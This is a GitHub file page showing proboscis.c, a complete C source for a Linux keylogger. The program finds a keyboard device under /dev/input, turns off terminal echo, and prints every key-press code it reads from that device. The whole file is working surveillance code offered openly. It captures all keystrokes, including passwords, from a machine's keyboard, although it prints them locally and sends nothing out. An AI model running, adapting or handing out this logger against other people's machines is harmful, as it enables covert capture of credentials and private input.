-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathproboscis.c
More file actions
214 lines (174 loc) · 4.71 KB
/
proboscis.c
File metadata and controls
214 lines (174 loc) · 4.71 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
/** Event interface key logger
*
* Records all keystrokes from the event
* devices in /dev/input/
*
* The event interface must be enabled and
* the keyboard must be in raw scancode
* mode
*
* Eddie Bell - ejlbell@gmail.com
*
* Thanks to Shibiao - slin [at] cs.sunysbi [dot] edu
* for fixing a flaw that prevented some charaters
* from being printed
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <dirent.h>
#include <linux/input.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/select.h>
#include <sys/time.h>
#include <termios.h>
#include <signal.h>
#define PATH "/dev/input/"
#define PROBE_FAILED -1
#define PROBE_NO_RESPONSE 0
#define PROBE_MATCH 1
#define ECHO_OFF 0
#define ECHO_ON 1
#define DEVICE_NAME_LEN 1024
/*
* Disables and enable terminal echoing
*/
void
echoctl (int type)
{
static struct termios tc;
static struct termios ots;
if (type == ECHO_OFF) {
// save current settings
tcgetattr (STDIN_FILENO, &tc);
ots = tc;
// disable echo
tc.c_lflag &= ~ECHO;
tc.c_lflag |= ECHONL;
tcsetattr (STDIN_FILENO, TCSAFLUSH, &tc);
} else {
// enable echo
tcsetattr (STDIN_FILENO, TCSAFLUSH, &ots);
}
}
void
handler (int sig) {
echoctl (ECHO_ON);
printf ("\nexiting...(%d)\n", sig);
exit (0);
}
void
perror_exit (char *error) {
perror (error);
handler (9);
}
/*
* Process the raw scancodes
*/
int read_keys (int fd) {
struct input_event ev[64];
int value, size = sizeof (struct input_event);
if ((read (fd, ev, size * 64)) < size)
perror_exit ("read_key: read()");
// Only read the key press event, NOT the key release event
if (ev[1].value == 1 && ev[1].type == 1)
return ev[0].value;
return -1;
}
/*
* check if a device responds to keyboard input
*/
int test_device (char *device_name) {
int fd, results;
char test_input[16];
fd_set rfds;
// open device
if ((fd = open (device_name, O_RDONLY | O_NONBLOCK)) < 0)
return PROBE_FAILED;
getchar ();
// check if device has outputted the data
// a bit of a fuzzy match
results = read (fd, test_input, 16);
close(fd);
if(results > 0)
return PROBE_MATCH;
else
return PROBE_NO_RESPONSE;
}
/*
* Check each device in /dev/input and determine if
* it is a keyboard device
*/
char *scan_for_devices (char *device_name) {
DIR *event_devices = opendir (PATH);
struct dirent *dir = NULL;
int found = PROBE_NO_RESPONSE;
if(device_name == NULL) {
printf ("Device name buffer is NULL\n");
exit(1);
}
if (event_devices == NULL) {
printf ("Cannot open the event interface directory (%s)\n", PATH);
perror_exit ("opendir()");
}
printf ("scanning for devices in %s\n\n", PATH);
printf ("* NOTE: Please hold down the enter key to provide test data *\n");
getchar ();
while ((dir = readdir (event_devices)) != NULL && (found != PROBE_MATCH)) {
// ignore this and parent directory
if ((strncmp (dir->d_name, ".", 1)) == 0)
continue;
snprintf(device_name, 1024, "%s%s", PATH, dir->d_name);
printf("\ttrying %s", dir->d_name);
found = test_device(device_name);
}
if (found == PROBE_MATCH)
return device_name;
else
return NULL;
}
int main (int argc, char *argv[]) {
char device[DEVICE_NAME_LEN];
int fd = -1;
if (argv[1] == NULL) {
printf("Please specify the path to the dev event interface device\n");
printf("If you do not know which device to specify, use the argument 'scan'\n");
exit (0);
}
if ((getuid ()) != 0)
printf ("You are not root! This may not work...\n");
echoctl (ECHO_OFF);
if ((strncmp (argv[1], "scan", 4)) == 0) {
if (scan_for_devices(device) == NULL) {
echoctl(ECHO_ON);
printf ("Cannot find event device. Are you sure the event device is enabled?\n");
exit(EXIT_FAILURE);
}
} else {
strncpy(device, argv[1], DEVICE_NAME_LEN);
}
if ((fd = open (device, O_RDONLY)) == -1) {
echoctl(ECHO_ON);
printf ("%s is not a vaild device. try using the argument 'scan'\n", device);
exit(EXIT_FAILURE);
}
char name[256] = "unknown";
ioctl (fd, EVIOCGNAME (sizeof (name)), name);
printf("reading from %s (%s)\n", device, name);
signal (SIGINT, &handler);
signal (SIGKILL, &handler);
signal (SIGQUIT, &handler);
int key_press = -1;
while(1) {
if((key_press = read_keys (fd)) == -1)
continue;
printf ("%d\n", key_press);
fflush (stdout);
}
return 0;
}